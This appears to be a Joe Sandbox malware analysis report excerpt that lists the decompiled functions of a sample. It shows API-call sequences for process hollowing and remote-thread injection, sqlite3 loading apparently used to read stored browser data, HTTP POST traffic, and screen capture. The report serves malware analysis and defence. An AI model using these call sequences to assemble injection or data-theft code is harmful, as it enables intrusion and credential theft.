    • GetModuleHandleW.KERNEL32(00000000), ref: 004075A8
    • GetModuleHandleW.KERNEL32(?), ref: 00407667
    • GetProcAddress.KERNEL32(?), ref: 0040771E
    • GetProcAddress.KERNEL32(?), ref: 0040772F
    • GetProcAddress.KERNEL32(?), ref: 00407743
    • GetProcAddress.KERNEL32(?), ref: 00407754
    • GetProcAddress.KERNEL32 ref: 00407765
    • GetProcAddress.KERNEL32(?), ref: 00407776
    • GetProcAddress.KERNEL32(?), ref: 00407787
    • GetProcAddress.KERNEL32(?), ref: 00407798
    • GetProcAddress.KERNEL32(?), ref: 004077A9
    • GetProcAddress.KERNEL32(?), ref: 004077BA
    • GetProcAddress.KERNEL32(?), ref: 004077CA
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0040A266, Relevance: 26.7, APIs: 7, Strings: 8, Instructions: 460
    APIs
    • OpenPrinterW.WINSPOOL.DRV ref: 0040A266
    • ClosePrinter.WINSPOOL.DRV ref: 0040A26B
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BCB7E3, Relevance: 25.7, APIs: 17, Instructions: 207
    APIs
    • TlsAlloc.KERNEL32(?,00BD45C0,00000000), ref: 00BCB7FD
    • RegisterWindowMessageW.USER32(?,00000011,?,00000000,?,00BD45C0,00000000), ref: 00BCB824
    • CreateEventW.KERNEL32(00BD2AFC,00000001,00000000,?), ref: 00BCB84B
    • CreateMutexW.KERNEL32(00BD2AFC,00000000,?), ref: 00BCB86B
    • CreateFileMappingW.KERNEL32(00000000,00BD2AFC,00000004,00000000,03D09128,?), ref: 00BCB893
    • MapViewOfFile.KERNEL32(?,00000002,00000000,00000000,00000000), ref: 00BCB8A9
    • GetDC.USER32(00000000), ref: 00BCB8C6
    • GetDeviceCaps.GDI32(?,00000008), ref: 00BCB8E6
    • GetDeviceCaps.GDI32(00000000,0000000A), ref: 00BCB8F0
    • CreateCompatibleBitmap.GDI32(00000000,?), ref: 00BCB8FD
      • Part of subcall function 00BBFA1C: GetDIBits.GDI32(00BD45C0,00000002,00000000,00000001,00000000,?,00000000), ref: 00BBFA54
      • Part of subcall function 00BBFA1C: GetDIBits.GDI32(00BD45C0,00000002,00000000,00000001,00000000,?,00000000), ref: 00BBFA6A
      • Part of subcall function 00BBFA1C: DeleteObject.GDI32(00000002), ref: 00BBFA77
      • Part of subcall function 00BBFA1C: CreateDIBSection.GDI32(00BD45C0,?,00000000,00000000,00000000,00000000), ref: 00BBFAE7
      • Part of subcall function 00BBFA1C: DeleteObject.GDI32(00000002), ref: 00BBFB06
    • ReleaseDC.USER32(00000000,00000000), ref: 00BCB925
      • Part of subcall function 00BB8160: HeapFree.KERNEL32(00000000,00000000,00BCC62F,?,?), ref: 00BB8173
    • CreateMutexW.KERNEL32(00BD2AFC,00000000,?), ref: 00BCB9C9
    • GetDC.USER32(00000000), ref: 00BCB9DE
    • CreateCompatibleDC.GDI32 ref: 00BCB9EB
    • CreateCompatibleBitmap.GDI32(?,00000001,00000001), ref: 00BCBA00
    • SelectObject.GDI32(?), ref: 00BCBA17
    • ReleaseDC.USER32(00000000), ref: 00BCBA2D
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BC6DB7, Relevance: 25.6, APIs: 17, Instructions: 148
    APIs
    • OpenProcess.KERNEL32(?,00000000,?), ref: 00BC6DE0
      • Part of subcall function 00BA7F10: DuplicateHandle.KERNEL32(000000FF,?,?,?,00000000,00000000,00000002), ref: 00BA7F40
      • Part of subcall function 00BA7F10: VirtualFreeEx.KERNEL32(?,7C809BE7,00000000,00008000), ref: 00BA802C
    • CreateFileMappingW.KERNEL32(00000000,00000000,00000040,00000000,?,00000000), ref: 00BC6E2B
    • MapViewOfFile.KERNEL32(?,00000006,00000000,00000000,?), ref: 00BC6E4E
    • NtSuspendProcess.NTDLL(?,?,00000006,00000000), ref: 00BC6E60
    • ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 00BC6E7C
    • NtUnmapViewOfSection.NTDLL(?,?,?,?), ref: 00BC6EAE
    • NtMapViewOfSection.NTDLL(?,?,?,00000000), ref: 00BC6ECC
    • FlushInstructionCache.KERNEL32(?,?,00000006), ref: 00BC6EDA
    • NtResumeProcess.NTDLL(?,?,?,?), ref: 00BC6EE5
    • Sleep.KERNEL32(00000064), ref: 00BC6EF2
    • UnmapViewOfFile.KERNEL32(?), ref: 00BC6EFB
    • CloseHandle.KERNEL32(?), ref: 00BC6F04
    • CreateRemoteThread.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000), ref: 00BC6F1D
    • WaitForSingleObject.KERNEL32(?,00002710), ref: 00BC6F2F
    • CloseHandle.KERNEL32 ref: 00BC6F36
    • VirtualFreeEx.KERNEL32(?,?,00000000,00008000), ref: 00BC6F4F
    • CloseHandle.KERNEL32 ref: 00BC6F56
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00426DB7, Relevance: 25.6, APIs: 17, Instructions: 148
    APIs
    • OpenProcess.KERNEL32(?,00000000,?), ref: 00426DE0
      • Part of subcall function 00407F10: DuplicateHandle.KERNEL32(000000FF,?,?,?,00000000,00000000,00000002), ref: 00407F40
      • Part of subcall function 00407F10: VirtualFreeEx.KERNEL32(?,7C809BE7,00000000,00008000), ref: 0040802C
    • CreateFileMappingW.KERNEL32(00000000,00000000,00000040,00000000,?,00000000), ref: 00426E2B
    • MapViewOfFile.KERNEL32(?,00000006,00000000,00000000,?), ref: 00426E4E
    • NtSuspendProcess.NTDLL(?,?,00000006,00000000), ref: 00426E60
    • ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 00426E7C
    • NtUnmapViewOfSection.NTDLL(?,?,?,?), ref: 00426EAE
    • NtMapViewOfSection.NTDLL(?,?,?,00000000), ref: 00426ECC
    • FlushInstructionCache.KERNEL32(?,?,00000006), ref: 00426EDA
    • NtResumeProcess.NTDLL(?,?,?,?), ref: 00426EE5
    • Sleep.KERNEL32(00000064), ref: 00426EF2
    • UnmapViewOfFile.KERNEL32(?), ref: 00426EFB
    • CloseHandle.KERNEL32(?), ref: 00426F04
    • CreateRemoteThread.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000), ref: 00426F1D
    • WaitForSingleObject.KERNEL32(?,00002710), ref: 00426F2F
    • CloseHandle.KERNEL32 ref: 00426F36
    • VirtualFreeEx.KERNEL32(?,?,00000000,00008000), ref: 00426F4F
    • CloseHandle.KERNEL32 ref: 00426F56
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BA9065, Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 137
    APIs
      • Part of subcall function 00BBD9C8: GetTempPathW.KERNEL32(000000F6,?), ref: 00BBD9DF
      • Part of subcall function 00BBA3FB: WaitForSingleObject.KERNEL32(?,?), ref: 00BBA44F
      • Part of subcall function 00BBA3FB: Sleep.KERNEL32(?), ref: 00BBA462
      • Part of subcall function 00BBA3FB: InternetCloseHandle.WININET ref: 00BBA4E8
    • LoadLibraryW.KERNEL32(msvcrt.dll), ref: 00BA9176
    • LoadLibraryW.KERNEL32(?), ref: 00BA9184
    • GetProcAddress.KERNEL32(?,sqlite3_close), ref: 00BA91AA
    • GetProcAddress.KERNEL32(?,sqlite3_exec), ref: 00BA91B6
    • GetProcAddress.KERNEL32(?,sqlite3_free), ref: 00BA91C2
    • GetProcAddress.KERNEL32(?,sqlite3_open16), ref: 00BA91CE
      • Part of subcall function 00BA8C09: SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 00BA8C30
      • Part of subcall function 00BA8C09: GetFileAttributesW.KERNEL32(?), ref: 00BA8C84
      • Part of subcall function 00BA8C09: GetPrivateProfileIntW.KERNEL32(?,?,000000FF,?), ref: 00BA8CE7
      • Part of subcall function 00BA8C09: GetPrivateProfileStringW.KERNEL32(?,00000000,00000000,?,00000104,?), ref: 00BA8D15
    • FreeLibrary.KERNEL32(?), ref: 00BA9230
    • FreeLibrary.KERNEL32(?), ref: 00BA9236
      • Part of subcall function 00BBD955: SetFileAttributesW.KERNEL32(?,00000080), ref: 00BBD95E
      • Part of subcall function 00BBD955: DeleteFileW.KERNEL32(?), ref: 00BBD968
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00409065, Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 137
    APIs
      • Part of subcall function 0041D9C8: GetTempPathW.KERNEL32(000000F6,?), ref: 0041D9DF
      • Part of subcall function 0041A3FB: WaitForSingleObject.KERNEL32(?,?), ref: 0041A44F
      • Part of subcall function 0041A3FB: Sleep.KERNEL32(?), ref: 0041A462
      • Part of subcall function 0041A3FB: InternetCloseHandle.WININET ref: 0041A4E8
    • LoadLibraryW.KERNEL32(msvcrt.dll), ref: 00409176
    • LoadLibraryW.KERNEL32(?), ref: 00409184
    • GetProcAddress.KERNEL32(?,sqlite3_close), ref: 004091AA
    • GetProcAddress.KERNEL32(?,sqlite3_exec), ref: 004091B6
    • GetProcAddress.KERNEL32(?,sqlite3_free), ref: 004091C2
    • GetProcAddress.KERNEL32(?,sqlite3_open16), ref: 004091CE
      • Part of subcall function 00408C09: SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 00408C30
      • Part of subcall function 00408C09: GetFileAttributesW.KERNEL32(?), ref: 00408C84
      • Part of subcall function 00408C09: GetPrivateProfileIntW.KERNEL32(?,?,000000FF,?), ref: 00408CE7
      • Part of subcall function 00408C09: GetPrivateProfileStringW.KERNEL32(?,00000000,00000000,?,00000104,?), ref: 00408D15
    • FreeLibrary.KERNEL32(?), ref: 00409230
    • FreeLibrary.KERNEL32(?), ref: 00409236
      • Part of subcall function 0041D955: SetFileAttributesW.KERNEL32(?,00000080), ref: 0041D95E
      • Part of subcall function 0041D955: DeleteFileW.KERNEL32(?), ref: 0041D968
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0040A2F2, Relevance: 23.2, APIs: 6, Strings: 7, Instructions: 408
    APIs
    • CreateFileMappingW.KERNEL32 ref: 0040A2F2
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040A3CB, Relevance: 23.1, APIs: 6, Strings: 7, Instructions: 373
    APIs
    • GetUserDefaultUILanguage.KERNEL32 ref: 0040A3CB
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040A500, Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 326
    APIs
    • GetLocaleInfoW.KERNEL32 ref: 0040A500
    • OpenClipboard.USER32 ref: 0040A506
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040E4D3, Relevance: 23.1, APIs: 9, Strings: 4, Instructions: 321
    APIs
    • GetClientRect.USER32 ref: 0040E4D3
    • SetAbortProc.GDI32 ref: 0040E4D9
    • GetCommandLineW.KERNEL32 ref: 0040E4DF
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040E51D
    • MapAndLoad.IMAGEHLP(cqns,R5FF,?,00000000,00000000), ref: 0040E7AE
    • MapAndLoad.IMAGEHLP(f508cUFT,NiX,?,00000000,00000000), ref: 0040EA33
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EB02
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EC3E
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 0040EDF8
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BC24CC, Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 181
    APIs
      • Part of subcall function 00BBCF9B: InternetCrackUrlA.WININET(?,00000000,00000000,?), ref: 00BBCFC9
    • InternetOpenA.WININET(00000000,00000000,00000000,00000000,?), ref: 00BC24FA
    • InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00BC2518
    • HttpOpenRequestA.WININET(?,POST,?,HTTP/1.1,?,00000000,?,00000000), ref: 00BC2563
    • HttpAddRequestHeadersA.WININET(?,?,000000FF,A0000000), ref: 00BC25B8
      • Part of subcall function 00BB8130: HeapAlloc.KERNEL32(00000008,?,00BBC881), ref: 00BB8141
    • HttpAddRequestHeadersA.WININET(?,?,000000FF,A0000000), ref: 00BC262C
    • HttpSendRequestA.WININET(?,00000000,00000000,?,?), ref: 00BC264E
    • HttpQueryInfoA.WININET(?,20000013,?,?,00000000), ref: 00BC2672
      • Part of subcall function 00BBA61A: InternetQueryOptionA.WININET(00000003,00000022,00000000), ref: 00BBA62E
      • Part of subcall function 00BBA61A: GetLastError.KERNEL32(?,?,?,00BC268F,?,?,20000013,?,?,00000000,?,00000000,00000000,?,?), ref: 00BBA638
      • Part of subcall function 00BBA61A: InternetQueryOptionA.WININET(00000003,00000022), ref: 00BBA658
    • InternetCloseHandle.WININET ref: 00BC26B5
    • InternetCloseHandle.WININET(?), ref: 00BC26BE
    • InternetCloseHandle.WININET(?), ref: 00BC26C7
      • Part of subcall function 00BB8160: HeapFree.KERNEL32(00000000,00000000,00BCC62F,?,?), ref: 00BB8173
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 004224CC, Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 181
    APIs
      • Part of subcall function 0041CF9B: InternetCrackUrlA.WININET(?,00000000,00000000,?), ref: 0041CFC9
    • InternetOpenA.WININET(00000000,00000000,00000000,00000000,?), ref: 004224FA
    • InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00422518
    • HttpOpenRequestA.WININET(?,POST,?,HTTP/1.1,?,00000000,?,00000000), ref: 00422563
    • HttpAddRequestHeadersA.WININET(?,?,000000FF,A0000000), ref: 004225B8
      • Part of subcall function 00418130: HeapAlloc.KERNEL32(00000008,?,0041C881), ref: 00418141
    • HttpAddRequestHeadersA.WININET(?,?,000000FF,A0000000), ref: 0042262C
    • HttpSendRequestA.WININET(?,00000000,00000000,?,?), ref: 0042264E
    • HttpQueryInfoA.WININET(?,20000013,?,?,00000000), ref: 00422672
      • Part of subcall function 0041A61A: InternetQueryOptionA.WININET(00000003,00000022,00000000), ref: 0041A62E
      • Part of subcall function 0041A61A: GetLastError.KERNEL32(?,?,?,0042268F,?,?,20000013,?,?,00000000,?,00000000,00000000,?,?), ref: 0041A638
      • Part of subcall function 0041A61A: InternetQueryOptionA.WININET(00000003,00000022), ref: 0041A658
    • InternetCloseHandle.WININET ref: 004226B5
    • InternetCloseHandle.WININET(?), ref: 004226BE
    • InternetCloseHandle.WININET(?), ref: 004226C7
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BCBEC4, Relevance: 22.6, APIs: 15, Instructions: 132
    APIs
    • GetMenu.USER32(?), ref: 00BCBEEE
    • GetMenuItemCount.USER32 ref: 00BCBF04
    • GetMenuState.USER32(?,00000000,00000400), ref: 00BCBF1C
    • HiliteMenuItem.USER32(?,?,00000000,00000400), ref: 00BCBF2C
    • MenuItemFromPoint.USER32(?,?,?,?), ref: 00BCBF52
    • GetMenuState.USER32(?,?,00000400), ref: 00BCBF66
    • EndMenu.USER32 ref: 00BCBF76
    • HiliteMenuItem.USER32(?,?,?,00000480), ref: 00BCBF86
    • GetSubMenu.USER32 ref: 00BCBFAA
    • GetMenuItemRect.USER32(?,?,?,?), ref: 00BCBFC4
    • TrackPopupMenuEx.USER32(?,00004000,?,?,?,00000000), ref: 00BCBFE5
    • GetMenuItemID.USER32 ref: 00BCBFFD
    • SendMessageW.USER32(?,00000111,?,00000000), ref: 00BCC016
      • Part of subcall function 00BB4383: GetWindowInfo.USER32(?,?), ref: 00BB43EF
      • Part of subcall function 00BB4383: IntersectRect.USER32(?,?), ref: 00BB4412
      • Part of subcall function 00BB4383: IntersectRect.USER32(?,?), ref: 00BB4468
      • Part of subcall function 00BB4383: GetDC.USER32(00000000), ref: 00BB44AC
      • Part of subcall function 00BB4383: CreateCompatibleDC.GDI32 ref: 00BB44BD
      • Part of subcall function 00BB4383: ReleaseDC.USER32(00000000), ref: 00BB44C7
      • Part of subcall function 00BB4383: SelectObject.GDI32(?,?), ref: 00BB44DC
      • Part of subcall function 00BB4383: DeleteDC.GDI32 ref: 00BB44EA
      • Part of subcall function 00BB4383: TlsSetValue.KERNEL32(?), ref: 00BB4535
      • Part of subcall function 00BB4383: EqualRect.USER32(?,?), ref: 00BB454F
      • Part of subcall function 00BB4383: SaveDC.GDI32 ref: 00BB455A
      • Part of subcall function 00BB4383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00BB4575
      • Part of subcall function 00BB4383: SendMessageW.USER32(?,00000085,00000001,00000000), ref: 00BB4595
      • Part of subcall function 00BB4383: DefWindowProcW.USER32(?,00000317,?,00000002), ref: 00BB45A7
      • Part of subcall function 00BB4383: RestoreDC.GDI32(?,?), ref: 00BB45BE
      • Part of subcall function 00BB4383: SaveDC.GDI32 ref: 00BB45E0
      • Part of subcall function 00BB4383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00BB45F6
      • Part of subcall function 00BB4383: SendMessageW.USER32(?,00000014,?,00000000), ref: 00BB460F
      • Part of subcall function 00BB4383: RestoreDC.GDI32(?,?), ref: 00BB461D
      • Part of subcall function 00BB4383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00BB4630
      • Part of subcall function 00BB4383: SendMessageW.USER32(?,0000000F,00000000,00000000), ref: 00BB4640
      • Part of subcall function 00BB4383: DefWindowProcW.USER32(?,00000317,?,00000004), ref: 00BB4652
      • Part of subcall function 00BB4383: TlsSetValue.KERNEL32(00000000), ref: 00BB466C
      • Part of subcall function 00BB4383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00BB468C
      • Part of subcall function 00BB4383: DefWindowProcW.USER32(00000004,00000317,?,0000000E), ref: 00BB46A8
      • Part of subcall function 00BB4383: SelectObject.GDI32(?,?), ref: 00BB46BE
      • Part of subcall function 00BB4383: DeleteDC.GDI32 ref: 00BB46C5
      • Part of subcall function 00BB4383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00BB46ED
      • Part of subcall function 00BB4383: PrintWindow.USER32(00000008,?,00000000), ref: 00BB4703
    • SetKeyboardState.USER32 ref: 00BCC055
    • SetEvent.KERNEL32 ref: 00BCC061
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0042BEC4, Relevance: 22.6, APIs: 15, Instructions: 132
    APIs
    • GetMenu.USER32(?), ref: 0042BEEE
    • GetMenuItemCount.USER32 ref: 0042BF04
    • GetMenuState.USER32(?,00000000,00000400), ref: 0042BF1C
    • HiliteMenuItem.USER32(?,?,00000000,00000400), ref: 0042BF2C
    • MenuItemFromPoint.USER32(?,?,?,?), ref: 0042BF52
    • GetMenuState.USER32(?,?,00000400), ref: 0042BF66
    • EndMenu.USER32 ref: 0042BF76
    • HiliteMenuItem.USER32(?,?,?,00000480), ref: 0042BF86
    • GetSubMenu.USER32 ref: 0042BFAA
    • GetMenuItemRect.USER32(?,?,?,?), ref: 0042BFC4
    • TrackPopupMenuEx.USER32(?,00004000,?,?,?,00000000), ref: 0042BFE5
    • GetMenuItemID.USER32 ref: 0042BFFD
    • SendMessageW.USER32(?,00000111,?,00000000), ref: 0042C016
      • Part of subcall function 00414383: GetWindowInfo.USER32(?,?), ref: 004143EF
      • Part of subcall function 00414383: IntersectRect.USER32(?,?), ref: 00414412
      • Part of subcall function 00414383: IntersectRect.USER32(?,?), ref: 00414468
      • Part of subcall function 00414383: GetDC.USER32(00000000), ref: 004144AC
      • Part of subcall function 00414383: CreateCompatibleDC.GDI32 ref: 004144BD
      • Part of subcall function 00414383: ReleaseDC.USER32(00000000), ref: 004144C7
      • Part of subcall function 00414383: SelectObject.GDI32(?,?), ref: 004144DC
      • Part of subcall function 00414383: DeleteDC.GDI32 ref: 004144EA
      • Part of subcall function 00414383: TlsSetValue.KERNEL32(?), ref: 00414535
      • Part of subcall function 00414383: EqualRect.USER32(?,?), ref: 0041454F
      • Part of subcall function 00414383: SaveDC.GDI32 ref: 0041455A
      • Part of subcall function 00414383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00414575
      • Part of subcall function 00414383: SendMessageW.USER32(?,00000085,00000001,00000000), ref: 00414595
      • Part of subcall function 00414383: DefWindowProcW.USER32(?,00000317,?,00000002), ref: 004145A7
      • Part of subcall function 00414383: RestoreDC.GDI32(?,?), ref: 004145BE
      • Part of subcall function 00414383: SaveDC.GDI32 ref: 004145E0
      • Part of subcall function 00414383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 004145F6
      • Part of subcall function 00414383: SendMessageW.USER32(?,00000014,?,00000000), ref: 0041460F
      • Part of subcall function 00414383: RestoreDC.GDI32(?,?), ref: 0041461D
      • Part of subcall function 00414383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00414630
      • Part of subcall function 00414383: SendMessageW.USER32(?,0000000F,00000000,00000000), ref: 00414640
      • Part of subcall function 00414383: DefWindowProcW.USER32(?,00000317,?,00000004), ref: 00414652
      • Part of subcall function 00414383: TlsSetValue.KERNEL32(00000000), ref: 0041466C
      • Part of subcall function 00414383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 0041468C
      • Part of subcall function 00414383: DefWindowProcW.USER32(00000004,00000317,?,0000000E), ref: 004146A8
      • Part of subcall function 00414383: SelectObject.GDI32(?,?), ref: 004146BE
      • Part of subcall function 00414383: DeleteDC.GDI32 ref: 004146C5
      • Part of subcall function 00414383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 004146ED
      • Part of subcall function 00414383: PrintWindow.USER32(00000008,?,00000000), ref: 00414703
    • SetKeyboardState.USER32 ref: 0042C055
    • SetEvent.KERNEL32 ref: 0042C061
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0040A3B6, Relevance: 21.4, APIs: 5, Strings: 7, Instructions: 376
    APIs
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
